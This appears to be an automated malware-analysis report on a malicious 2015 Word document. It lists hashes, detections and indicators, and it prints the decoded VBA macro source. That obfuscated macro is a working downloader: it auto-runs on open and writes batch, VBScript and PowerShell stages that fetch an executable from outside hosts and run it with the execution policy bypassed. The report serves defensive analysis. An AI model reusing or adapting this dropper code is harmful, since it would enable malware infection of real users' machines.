Office (OLE) malware analysis — malicious · 857dfa3f5ca9c2a5

MALICIOUS

Office (OLE)

91.0 KB Created: 2015-03-16 06:21:00 Authoring application: Microsoft Office Word First seen: 2015-04-05

MD5: 52bc7a3d33005ac485d344d2c8e38552 SHA-1: 22de169dfae6d0d9e874bfb1efd599b4e6e752a3 SHA-256: 857dfa3f5ca9c2a52d411772de1fce317405ce553a5d83655c609b4a78c74329

314 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer

The file contains VBA macros with AutoOpen and GetObject calls, indicative of malicious intent. The script attempts to download payloads from the URLs http://savepic.su/5498533.png and http://savepic.su/5503653.png. It also attempts to establish persistence by writing to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy.

Heuristics 12

ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
VBA macros detected medium 8 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
Shell(b, 0)
```
GetObject call high OLE_VBA_GETOBJ

GetObject call
Matched line in script
```
    Set objWMIService = GetObject _
```
Payload URL assembled from a Chr()/Asc() string expression (2 URLs) high OLE_VBA_EXPR_DROPPER_URL

A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub Workbook_Open()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub Auto_Open()
```
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)
Matched line in script
```
Environ(a)
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://savepic.su/5498533.png Referenced by macro
- http://savepic.su/5503653.pngReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20226 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	20226 bytes
SHA-256: `55a89583262cab292e9ac156e411d56ac9570b7dce9fdb68bcb5b98b0f1a665e`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub Auto_Open() h End Sub Sub h() SKLDL = "j21kh3 jk12h3kj12h 3kj12h3 k1h21k3" KSODW = Chr(Asc("d")) & "-" & Chr(Asc("u")) & Chr(Asc("p")) + Chr(Asc("d")) & "at" & Chr(Asc("e")) LSJADKJSA = "asdjsalk jdkjsalasdwq8hq wk" ASLDLSJADKJSA = "asdjsalwqdqwq jdkjsalasdwq8hq wk" SDWLSJADKJSA = "asqwdqwdjsalk jdkjsalasdwq8hq wk" BART212 = KSODW JFIEDDD = Chr(Asc("c")) & ":\" & Chr(Asc("W")) & "i" & Chr(Asc(Chr(105 + 5))) & "do" & Chr(Asc("w")) & "s\" & Chr(Asc("T")) & "e" & Chr(Asc("m")) & "p\" JDUIWAAA = Chr(Asc("c")) & "" & ":" & "\" & Chr(Asc(Chr(70 + 10 + 5))) & "s" & "e" & Chr(Asc(Chr(110 + 4))) & "s" & Chr(Asc("\")) MDKWWW = "\" & Chr(Asc("A")) & "pp" & Chr(Asc("D")) & "ata\" & Chr(Asc("L")) & "ocal\" & Chr(Asc("T")) & "emp\" JISKKK = Chr(97) + Chr(100) + "o" & Chr(Asc("b")) & "ea" & Chr(Asc("c")) + BART212 VBT2 = JISKKK VBTXP2 = Chr(97) & Chr(100) & Chr(Asc("o")) & "be" + Chr(Asc("a")) & "c" & BART212 + Chr(Asc("x")) & Chr(Asc("p")) HYDW = "" & Chr(Asc("a")) & Chr(Asc("d")) BART2 = HYDW & "" & Chr(Asc("o")) & "b" & Chr(Asc("e")) & "ac" & BART212 PST2 = VBT2 HUEFQ = "" + Module4.Plain("" & Chr(Asc("u")) & "" & Chr(Asc("s")) & "er" + Chr(110) & "a" + Chr(109) + Chr(101) & "") PST1 = "" + PST2 + "." + Chr(Asc("p")) + Chr(100 + 15) + "1" + "" VBT1 = "" + VBT2 + "." + Chr(118) + "b" + Chr(Asc("s")) + "" VBTXP = VBTXP2 + "." + Chr(Asc("v")) + Chr(Asc("b")) + "s" + "" STT = "" + "44" + "4." + "pn" + "g" + "" hjife = 51 + 50 + Sgn(-6) kktd = hjife BART = BART2 + Chr(Abs(kktd - 50 - 50 - 45 - Sgn(5))) + Chr(Asc(Chr(Asc("a")))) + Chr(Asc(Chr(Abs(kktd - 100 - 15 - 1)))) + "" KJASKDJ = "kj23 k4j3k2jlk23j 4kl32j4 kh3 4jk23g 4hj23gfh gh2f 4hfg234hfg 23hgfg4f4 hg2f 4hg23f 4gh23f4h23f4 h23gf 4h23" 'JSIQOJQ = "" JSIQOJQ = Chr(Abs(kktd - Sqr(4) - 100 - 44)) + Chr(Abs(kktd - 100 - 97 - Module3.Signing(15))) + Chr(Asc(Chr(Abs(kktd / 2 + Sqr(4) + 44 + Sgn(Sqr(16)))))) + Chr(Asc(Chr(kktd + Fix(16.2)))) KJHDU = BART2 + JSIQOJQ KIOAJD = KJHDU BART = KIOAJD JIDWQQQ = JDUIWAAA + HUEFQ + MDKWWW MY_FILENDIR = JIDWQQQ & PST1 STAT = JIDWQQQ & STT ASDASDSA = JIDWQQQ & BART MY_FILDIR = JIDWQQQ & VBT1 XPFILEDIR = "" HJUTTT = VBTXP XPFILEDIR = "" + JFIEDDD + HJUTTT UHFD = "" & JFIEDDD TRT = UHFD + BART KRT = TRT HYF = KRT KJSAHDFFFJ = MY_FILDIR Dim Kjqiwdj, FileNumber, FileNumb, FileNu, FileNuG, FileNs, mttt, jskw As Integer Dim Uuwqdhj As Integer Dim retVal As Variant FileNumber = FreeFile FileNumb = FreeFile FileNu = FreeFile FileNukk = FreeFile FileNs = FreeFile Kasdwq = FreeFile FileNuG = FreeFile Dim objWMIService As Variant Dim colOperatingSystems As Variant Dim objOperatingSystem As Variant Set objWMIService = GetObject _ ("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2") Set colOperatingSystems = objWMIService.ExecQuery("Select * from W" + "in3" + "2_Op" + "eratin" + "gS" + "ystem" & "") For Each objOperatingSystem In colOperatingSystems CJIS = objOperatingSystem.Version SysReport = SysReport & "The operating system on this computer is " & _ objOperatingSystem.Caption & _ " (" & CJIS & Chr(Asc(")")) & "" Next Set objWMIService = GetObject _ ("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2") Set colOperatingSystems = objWMIService.ExecQuery("Select * from W" + "in3" + "2_Op" + "eratin" + "gS" + "ys" & "tem" & "") For Each objOperatingSystem In colOperatingSystems winverstr = objOperatingSystem.Version Next winver = Module3.Vava(winverstr) WaitFor (1) jskw = winver URLLSK = "91.194.254.215/us/file" STAA = "sa" & "vepic.su/5498533" STAB = "sa" & "vepic.su/5503653" ' UWGD = XPFILEDIR ' If (Len(Dir(MY_FILENDIR)) <> 0) Then ' SetAttr MY_FILENDIR, vbNormal ' Kill MY_FILENDIR ' End If ' If (Dir(ASDASDSA) <> "") Then ' SetAttr ASDASDSA, vbNormal ' Kill ASDASDSA ' End If ' If (Dir(MY_FILDIR) <> "") Then ' SetAttr MY_FILDIR, vbNormal ' Kill KJSAHDFFFJ ' End If ' If (Dir(STAT) <> "") Then ' SetAttr STAT, vbNormal ' Kill STAT ' End If ' If (Dir(UWGD) <> "") Then ' SetAttr UWGD, vbNormal ' Kill UWGD ' End If If (jskw <= 5.5) Then 'NUWHDGJS = UHFD + "euifhszdf.jfi" 'Open NUWHDGJS For Output As #Kasdwq 'Close #Kasdwq NUWHDGJS = HYF Open NUWHDGJS For Output As #Kasdwq Print #Kasdwq, "" Print #Kasdwq, "" & Chr(Asc("@")) & "e" & "ch" & "o of" & "f" & "" Print #Kasdwq, "" & ":" & "p" & "in" & "ka" & "tor" & "" Print #Kasdwq, Chr(112) & "in" + "g 1.2.3.1 -n" & " 2" + "" Print #Kasdwq, "set ggtt=" & Chr(34) & "bs" & Chr(34) UHADKASJDWQD = "jkh32jkh2 jk4h2kj 4h3k2j4h jk23l4h 23" Print #Kasdwq, "c" & "s" + "c" & "ri" & "pt" & ".e" & Chr(120) & "e " & Chr(34) & "c:\W" + "indows\T" + "emp" + "\" + VBTXP2 + ".v" + Chr(34) + "%ggtt%" Print #Kasdwq, Chr(112) & "in" + "g 2.2.1.1 -n" & " 2" + "" Print #Kasdwq, "" & ":windows" Print #Kasdwq, "" Print #Kasdwq, "" + "c:\W" + "indows\Te" + "mp\444" + "." + Chr(Asc(Chr(Asc("e")))) + Chr(Asc("x")) + Chr(Asc("e")) Print #Kasdwq, ":loop" Print #Kasdwq, Chr(112) & "in" + "g " + "1.3.1.2 -n" & _ " 1" Print #Kasdwq, "set tar1=" + Chr(34) + BART + Chr(30 + 3 + 1) Print #Kasdwq, "set stat=" + Chr(34) + STT + Chr(33 + 1) Print #Kasdwq, "del " + Chr(34) + "c:\W" & "indows\" & "Tem" & "p\" + VBTXP2 + ".v" + Chr(34) + "%ggtt%" Print #Kasdwq, "del " + Chr(34) + "c" & ":\" & "W" & "ind" & "ows\T" & "em" & "p\" + Chr(34) + "" + "%ta" + "r1%" + "" & "" Print #Kasdwq, "del " + Chr(34) + "c" & ":\" & "W" & "ind" & "ows\T" & "em" & "p\" + Chr(34) + "" + "%s" + "tat%" + "" & "" Print #Kasdwq, "if " + "exist " + Chr(34) & "" & "c" & ":" & "\W" + "in" & "dows" & "\T" + "emp" & "\" + Chr(34) + "%tar1%" + " goto loop" + "" Print #Kasdwq, "" + "if " + "exist " + Chr(34) + "c:\W" + "indows\T" + "e" & "mp\" + "" & "" + VBTXP + Chr(34) + " g" + "ot" + "o lo" + "op" + "" Print #Kasdwq, "exit" Close #Kasdwq WaitFor (2) mttt = 88 Open XPFILEDIR For Output As #FileNumber Print #FileNumber, "strRT = " + Chr(34) + "h" + Chr(Asc(Chr(Asc("t")))) + "t" + "p" + "://" + URLLSK + "." + "" & Chr(Asc("e")) + Chr(Asc("x")) + "e" + Chr(34) Print #FileNumber, "statRT = " + Chr(34) + "h" + Chr(Asc(Chr(Asc("t")))) + "t" + "p" + "://" + STAA + "." + Chr(Asc("p")) + Chr(Asc("n")) + "g" + Chr(34) Print #FileNumber, "" + "jfeuygq = " + Chr(34) + "4.e" + Chr(34) + "+" + Chr(34) + "xe" + Chr(34) Print #FileNumber, "strTecation = " + Chr(34) + "c:\" + Chr(Asc("W")) + Chr(34) + "+" + Chr(34) + "indows\" + Chr(Asc("T")) + Chr(34) + "+" + Chr(34) + "emp\44" + Chr(34) + "+" + "jfeuygq" Print #FileNumber, "frgea =" + Chr(34) + "M" + Chr(34) + "+" + Chr(34) + "SX" + Chr(34) + "+" + Chr(34) + "ML2.X" + Chr(34) + "+" + Chr(34) + "MLH" + Chr(34) + "+" + Chr(34) + "T" + Chr(34) + "+" + Chr(34) + "T" + Chr(34) + "+" + "Chr(80)" Print #FileNumber, "Set objXML" + "H" + Chr(Asc("T")) + "TP = C" + "reate" + Chr(Asc("O")) + "bject(frgea)" + "" Print #FileNumber, "Set sFs = C" + "reate" + Chr(Asc("O")) + "bject(frgea)" Print #FileNumber, "" + "" & "objXM" & "LH" & "T" & "TP.op" & "en " + Chr(34) + "G" & "ET" + Chr(34) + ", strRT, False" Print #FileNumber, "sFs" & ".op" & "en " + Chr(34) + "G" & "ET" + Chr(34) + ", statRT, False" + "" JASHDJK = "send()" Print #FileNumber, "objXMLHTTP." + JASHDJK + " " Print #FileNumber, "sFs." + JASHDJK + " " Print #FileNumber, "" & "If objXMLHTTP.Status = 200 Then" + "" & "" Print #FileNumber, "uwqhda = " + Chr(34) + "ADODB." + Chr(34) Print #FileNumber, "jaisd = uwqhda" Print #FileNumber, "" + "Set objADOStream = C" + "reateO" + "bject(jaisd+Chr(Sgn(-4)+84)+" + Chr(34) + Chr(34) + "&" + Chr(34) + "tr" + Chr(34) + "&" + Chr(34) + "eam" + Chr(34) + "&" + Chr(34) + Chr(34) + ")" Print #FileNumber, "" + "ob" + "jA" + "DOSt" + "ream.O" + "pen " + "" Print #FileNumber, "" & "objADOStream.Type = 1" Print #FileNumber, "objADOStream.Write objXMLHTTP.Re" + "" + "sp" + "onse" + "Body " Print #FileNumber, "objADOStream.Position = 0 " Print #FileNumber, "objADOStream.S" & "aveToF" & "ile st" & "rT" & "ecation " + "" Print #FileNumber, "objADOStream.Close " Print #FileNumber, "Set objADOStream = Nothing " Print #FileNumber, "E" & "nd if " & "" Print #FileNumber, "" + "Set objXMLHTTP = Nothing" Print #FileNumber, "Set objS" + "hell " & "=" + " " + Chr(Asc("C")) + "reate" + "O" + "bject(" + Chr(34) + "W" + "" & Chr(Asc("S")) & "" + "cr" & "ipt" & "." + "S" + "hell" + Chr(34) + ")" + "" Print #FileNumber, "" Close #FileNumber WaitFor (1) ASKJD = TRT NUS = Module3.Trance(retVal, ASKJD) End If If (winver > 5.5) Then Open MY_FILENDIR For Output As #FileNumber Print #FileNumber, "" & "$do" & "wn = " + Chr(Asc("N")) & "ew" & "-" & Chr(79) & "bject " & Chr(Asc(Chr(Asc("S")))) & "y" & "stem." & Chr(78) & "et." & Chr(87) & "eb" & "Cli" & "ent;" Print #FileNumber, "" & "$stat = '" + Chr(Asc(Chr(Asc("h")))) + Chr(Asc(Chr(116))) & "" + Chr(Asc("t")) + Chr(Asc(Chr(Asc("p")))) + "://" + STAB & "" & ".p" & "n" + "g';" HUHHUUHUHUHUHUKMK = "6ht76 7tftf t7f 7f yfk ftyf6f tu ftyf " Print #FileNumber, "$gg" + "tt = '" + Chr(Asc(Chr(Asc("h")))) + Chr(Asc(Chr(116))) & "" + Chr(Asc("t")) + Chr(Asc(Chr(Asc("p")))) + "://" + URLLSK & "" & "." & "" & "e" & "x" + "e';" Print #FileNumber, "" & "$fi" & "le = 'c:\Users\" + HUEFQ + "\Ap" + "pDa" & "ta" & "\Lo" + "cal\T" & "e" + "mp\" + "4" & "44." + Chr(101) & "x" & "e';" + "" Print #FileNumber, "$statfile = 'c:\Users\" + HUEFQ + "\AppData\Local\Temp\" + "4" & "44." + "j" & "pg';" Print #FileNumber, "" & "" & "" & "" & "$do" & "wn.hea" & "ders[" + Chr(39) + "User-Agent" + Chr(39) + "] = " + Chr(39) + Chr(39) + "+" + "'Mozilla/5.0 (Ma" & "cintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Saf" & "ari/600.1.25'" + "+''" + "" + ";" Print #FileNumber, "$dasdw='123';" Print #FileNumber, "$d" + "o" & Chr(Asc("w")) + "n" & "." & Chr(68) & "ow" & "nloa" & "dFi" & "le($gg" & "tt,$" & "file);" Print #FileNumber, "$d" + "o" & Chr(Asc("w")) + "n" & "." & Chr(68) & "ow" & "nloa" & "dFi" & "le($s" & "tat,$" & "statfile);" Print #FileNumber, "$asdw='123';" Print #FileNumber, "$ScriptDir = $MyInvocation.ScriptName;" Print #FileNumber, "$noneFilePath = 'c:\Users\" + HUEFQ + "\App" & "Data\Lo" & "cal\Te" & "mp\" + "444.e" & Chr(Asc("x")) + "e" & "';" JIUSD = "ad" & "obe'+'acd-up" & "date" Print #FileNumber, "$vbsFilePath = 'c:\Users\" + HUEFQ + "" & "\" & "A" & Chr(Asc("p")) & "pData\Lo" & "cal\Te" & "mp\" + JIUSD + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "v" + Chr(39) + Chr(43) + Chr(39) + "bs" + Chr(39) + "+" + Chr(39) + Chr(39) + ";" Print #FileNumber, "$statFilePath = 'c:\Users\" + HUEFQ + "\Ap" & "pData\Lo" & "cal\Te" & "mp\" + "444" + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "j" + Chr(39) + Chr(43) + Chr(39) + "pg" + Chr(39) + ";" Print #FileNumber, "$b" + "tFilePath = 'c:\Users\" + HUEFQ + "\Ap" & "pData\Lo" & "cal\Te" & "mp\" + JIUSD + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "b" + Chr(39) + Chr(43) + Chr(39) + "at" + Chr(39) + ";" Print #FileNumber, "$p" + "sFilePath = 'c:\Users\" + HUEFQ + "\Ap" & "pData\Lo" & "cal\Te" & "mp\" + JIUSD + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "p" + Chr(39) + Chr(43) + Chr(39) + "s" + Chr(39) + "+" + Chr(39) + "1" + Chr(39) + ";" Print #FileNumber, "St" & "art-Sleep -s 15;" Print #FileNumber, "c" & Chr(109) & "d.e" & Chr(120) & "e /c 'c:\Users\" + HUEFQ + "\App" & "Data\Lo" & "cal\T" & "emp" + "\444.e" & Chr(120) & "e'; " Print #FileNumber, "$file1 = gci $" + "v" + "b" + "sFilePath -Force" Print #FileNumber, "$file2 = gci $" + "b" + "t" + "FilePath -Force" Print #FileNumber, "$file3 = gci $" + "p" + "s" + "F" + "ilePath -Force" Print #FileNumber, "$kasldds = $vbsFilePath" Print #FileNumber, "" + "If (Test-Path $kasldds){ Remove-Item $kasldds }" Print #FileNumber, "" + "If (Test-Path $b" + "tFileP" + "ath){ Remove-Item $b" + "tFileP" + "ath }" + "" Print #FileNumber, "" + "If (Test-Path $s" + "tatFileP" + "ath){ Remove-Item $st" + "atFileP" + "ath }" + "" Print #FileNumber, "" + "$jsdhyfueh2hds = 'asdghyg23d jashdhsagdhasghdhgas';" + "" Print #FileNumber, "" + "If (Test-Path $no" + "neFi" + "leP" + "ath){ Remove-Item $n" + "oneFi" + "lePa" + "th }" + "" Print #FileNumber, "Remove-Item $MyINvocation.InvocationName" Close #FileNumber KJUCBHS = " = " Open MY_FILDIR For Output As #FileNumb Print #FileNumb, "Dim dff" Print #FileNumb, "dff = 68" Print #FileNumb, "c" & "ur" & Chr(Asc("r")) & "ent" + Chr(Asc("D")) + "irec" + "tory = left(WSc" & "ript.ScriptFullName," & "(L" + "en(W" + "S" + "cri" + "pt.Sc" + "riptFullName))-(len(W" + "Sc" + "ript.ScriptName)))" Print #FileNumb, "S" & "et o" & "bj" & Chr(Asc("F")) & "SO=C" & "re" & "at" & "eO" & "b" & "je" & "ct(" & Chr(34) & Chr(34) & "&" & Chr(34) & "S" & Chr(34) & Chr(38) & Chr(34) & "cr" & "ipt" & "ing.F" & "ileS" & "ystem" & "Ob" & "ject" & Chr(34) + "&" + Chr(34) + Chr(34) & ")" KJSUWD = Chr(34) + "&" + Chr(34) + "ad" + "obe" + "acd-up" + "date" Print #FileNumb, "cur" + "rent" + Chr(Asc("F")) + "ile = " & Chr(34) & "C:\" & Chr(Asc("U")) & "sers\" + HUEFQ + "\AppData\Local\Temp" + "\" + KJSUWD + Chr(34) + "&" + Chr(34) + "." + Chr(34) + "&" + Chr(34) + "p" + Chr(34) + "&" + Chr(34) + "s" + Chr(34) + "&" + Chr(34) + "1" + Chr(34) Print #FileNumb, "" & Chr(83) & "et " & Chr(111) & "bj" & Chr(83) & "he" + Chr(Asc("l")) + Chr(Asc("l")) + KJUCBHS & Chr(Sgn(-4) + 68) + "reate" & Chr(79) & Chr(98) & "ject(" & Chr(34) & "W" & Chr(115) & "cript." & Chr(115) & "hell" & Chr(34) & ")" + "" Print #FileNumb, "" + "" & Chr(111) & "bj" & Chr(83) & "hell" & Chr(46) & Chr(82) & "un " + Chr(34) + Chr(34) + "+" & Chr(34) & "p" & Chr(111) & "w" + Chr(34) + "+" + Chr(34); "er" & Chr(83) + Chr(34) + "+" + Chr(34) + Chr(34) + "+" + Chr(34) + Chr(34) + "+" + Chr(34) & "hell.e" & Chr(120) & "e -n" & Chr(111) & "exit -Exe" & "cutionP" & Chr(111) & "licy" & " byp" & "ass -n" & Chr(111) & "pr" & Chr(111) & "file -file " & Chr(34) & " & currentFile,0,true" + "" & "" Print #FileNumb, "" Close #FileNumb KSDOW = ASDASDSA Open KSDOW For Output As #FileNs Print #FileNs, "@echo off" Print #FileNs, "pi" + "ng 1.1.2.2 -n" & " 2" Print #FileNs, "chcp 1251" Print #FileNs, ":asdqwqdw" Print #FileNs, "set Gds1=" + Chr(34) + "." + Chr(34) Print #FileNs, "set Gds2=" + Chr(34) + "v" + Chr(34) Print #FileNs, "set Gds3=" + Chr(34) + "bs" + Chr(34) Print #FileNs, "set Ads3=" + Chr(34) + "adobeacd" + Chr(34) Print #FileNs, "set Ads4=" + Chr(34) + "-up" & "date" + Chr(34) Print #FileNs, "set Gds4=" + Chr(34) & "c:\Users\" + HUEFQ + "\AppData\Local\Temp" + "\" + "" + Chr(34) + "%Ads3%" + "%Ads4%" Print #FileNs, "c" & "sc" & "ri" & "pt" & Chr(46) + Chr(101) & Chr(120) & "e " & "%Gds4%" + "%Gds1%%Gds2%%Gds3%" Print #FileNs, "exit" Close #FileNs SetAttr MY_FILENDIR, vbNormal SetAttr ASDASDSA, vbNormal SetAttr MY_FILDIR, vbNormal WaitFor (1) LJSUIAJHDKQ = ASDASDSA NUS = Module3.Trance(retVal, LJSUIAJHDKQ) End If Module1.findTest Module3.secondTest Module1.abdklw End Sub Sub WaitFor(NumOfSeconds As Long) Dim SngSec As Long SngSec = Timer + NumOfSeconds Do While Timer < SngSec DoEvents Loop End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub Attribute VB_Name = "Module3" Public Function Trance(a As Variant, b) a = _ Shell(b, 0) Trance = a End Function Public Function Signing(a As Integer) Signing = Sgn(a) End Function Public Function Vava(a) Vava = Val(a) End Function Sub secondTest() Dim firstTerm As String Dim aFerm As String Dim myRanget As Range Dim yytt As Range Dim selRanget As Range Dim selectedTextt As String KISDQ = "in" & "bo" + "x>" Set yytt = ActiveDocument.Range firstTerm = "<" + KISDQ aFerm = "</" + KISDQ With yytt.Find .Text = firstTerm .MatchWholeWord = True ' MatchWholeWord LAJSDHUW = ".MatchWholeWord askj das" 'jklasjdklsajdiqow .Execute yytt.Collapse direction:=wdCollapseEnd Set selRanget = ActiveDocument.Range selRanget.Start = yytt.End 'sdfiwelfjwilefjew 'asdkext = askld;sadka .Text = _ aFerm ' KJSLADIW dsad sa 'KJKLhdaskd asd .MatchWholeWord = True 'jeoifwjflsdfs '.Executed EXECUTEFDDD = "j jkh12jh3 kj2 1jkhlasljkdklj kj kl1h23j " .Execute yytt.Collapse direction:=wdCollapseStart selRanget.End = yytt.Start selectedTextt = selRanget selRanget.Font.Color = wdColorBlack End With End Sub Attribute VB_Name = "Module4" Public Function Plain(a As String) Plain = _ Environ(a) End Function Attribute VB_Name = "Module1" Sub findTest() Dim firstTerm, secondTerm, selectedText As String Dim hhhg, selRange As Range Set hhhg = ActiveDocument.Range JIS = Chr(Asc(Chr(60))) SKDW = "" & "select>" DSQQ = JIS + SKDW ASQQ = JIS + "/" + SKDW firstTerm = "" & DSQQ secondTerm = "" & ASQQ WITHrtas = "Find" With hhhg.Find .Text = firstTerm .MatchWholeWord = True 'ashdkjqhdkjqwhdjk .Execute EXECUTEFD = "lakjsd" hhhg.Collapse direction:=wdCollapseEnd Set selRange = ActiveDocument.Range selRange.Start = hhhg.End .Text = secondTerm .MatchWholeWord = True 'kashdjkashdkjashdjksh '.Executed EXECUTEFDDD = "j jkh12jh3 kj2 1jkhlasljkdklj kj kl1h23j " .Execute '.asdsa hhhg.Collapse direction:=wdCollapseStart selRange.End = hhhg.Start selectedText = selRange.Delete End With End Sub Sub abdklw() For Each myStoryRange In ActiveDocument.StoryRanges With myStoryRange.Find .Text = "" & "<" & "sel" & "ect>" & "" .Replacement.Text = " " .Wrap = wdFindContinue .Execute Replace:=wdReplaceAll End With Next myStoryRange For Each myStoryRange In ActiveDocument.StoryRanges With myStoryRange.Find .Text = "" & "</s" & "ele" & "ct>" & "" .Replacement.Text = " " .Wrap = wdFindContinue .Execute Replace:=wdReplaceAll End With Next myStoryRange For Each myStoryRange In ActiveDocument.StoryRanges With myStoryRange.Find .Text = "" & "<" & "in" & "box>" .Replacement.Text = " " .Wrap = wdFindContinue .Execute Replace:=wdReplaceAll End With Next myStoryRange For Each myStoryRange In ActiveDocument.StoryRanges With myStoryRange.Find .Text = "" & "</" & "in" & "box>" .Replacement.Text = " " .Wrap = wdFindContinue .Execute Replace:=wdReplaceAll End With Next myStoryRange End Sub

SHA-256: 55a89583262cab292e9ac156e411d56ac9570b7dce9fdb68bcb5b98b0f1a665e

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
    h
End Sub
Sub h()
   
     SKLDL = "j21kh3 jk12h3kj12h 3kj12h3 k1h21k3"
     KSODW = Chr(Asc("d")) & "-" & Chr(Asc("u")) & Chr(Asc("p")) + Chr(Asc("d")) & "at" & Chr(Asc("e"))
     LSJADKJSA = "asdjsalk jdkjsalasdwq8hq wk"
     ASLDLSJADKJSA = "asdjsalwqdqwq jdkjsalasdwq8hq wk"
     SDWLSJADKJSA = "asqwdqwdjsalk jdkjsalasdwq8hq wk"
     BART212 = KSODW
     
     JFIEDDD = Chr(Asc("c")) & ":\" & Chr(Asc("W")) & "i" & Chr(Asc(Chr(105 + 5))) & "do" & Chr(Asc("w")) & "s\" & Chr(Asc("T")) & "e" & Chr(Asc("m")) & "p\"
     JDUIWAAA = Chr(Asc("c")) & "" & ":" & "\" & Chr(Asc(Chr(70 + 10 + 5))) & "s" & "e" & Chr(Asc(Chr(110 + 4))) & "s" & Chr(Asc("\"))
     MDKWWW = "\" & Chr(Asc("A")) & "pp" & Chr(Asc("D")) & "ata\" & Chr(Asc("L")) & "ocal\" & Chr(Asc("T")) & "emp\"
     
     JISKKK = Chr(97) + Chr(100) + "o" & Chr(Asc("b")) & "ea" & Chr(Asc("c")) + BART212
     VBT2 = JISKKK
     
     VBTXP2 = Chr(97) & Chr(100) & Chr(Asc("o")) & "be" + Chr(Asc("a")) & "c" & BART212 + Chr(Asc("x")) & Chr(Asc("p"))
     HYDW = "" & Chr(Asc("a")) & Chr(Asc("d"))
     BART2 = HYDW & "" & Chr(Asc("o")) & "b" & Chr(Asc("e")) & "ac" & BART212
     
     PST2 = VBT2
     HUEFQ = "" + Module4.Plain("" & Chr(Asc("u")) & "" & Chr(Asc("s")) & "er" + Chr(110) & "a" + Chr(109) + Chr(101) & "")
     PST1 = "" + PST2 + "." + Chr(Asc("p")) + Chr(100 + 15) + "1" + ""
     VBT1 = "" + VBT2 + "." + Chr(118) + "b" + Chr(Asc("s")) + ""
     
     VBTXP = VBTXP2 + "." + Chr(Asc("v")) + Chr(Asc("b")) + "s" + ""
     STT = "" + "44" + "4." + "pn" + "g" + ""
     
     
     hjife = 51 + 50 + Sgn(-6)
     kktd = hjife
     BART = BART2 + Chr(Abs(kktd - 50 - 50 - 45 - Sgn(5))) + Chr(Asc(Chr(Asc("a")))) + Chr(Asc(Chr(Abs(kktd - 100 - 15 - 1)))) + ""
     
     KJASKDJ = "kj23 k4j3k2jlk23j 4kl32j4 kh3 4jk23g 4hj23gfh gh2f 4hfg234hfg 23hgfg4f4 hg2f 4hg23f 4gh23f4h23f4 h23gf 4h23"
     'JSIQOJQ = ""
     
     
     JSIQOJQ = Chr(Abs(kktd - Sqr(4) - 100 - 44)) + Chr(Abs(kktd - 100 - 97 - Module3.Signing(15))) + Chr(Asc(Chr(Abs(kktd / 2 + Sqr(4) + 44 + Sgn(Sqr(16)))))) + Chr(Asc(Chr(kktd + Fix(16.2))))
     KJHDU = BART2 + JSIQOJQ
     KIOAJD = KJHDU
     BART = KIOAJD
     JIDWQQQ = JDUIWAAA + HUEFQ + MDKWWW
     
     MY_FILENDIR = JIDWQQQ & PST1
     STAT = JIDWQQQ & STT
     ASDASDSA = JIDWQQQ & BART
     MY_FILDIR = JIDWQQQ & VBT1
   
     
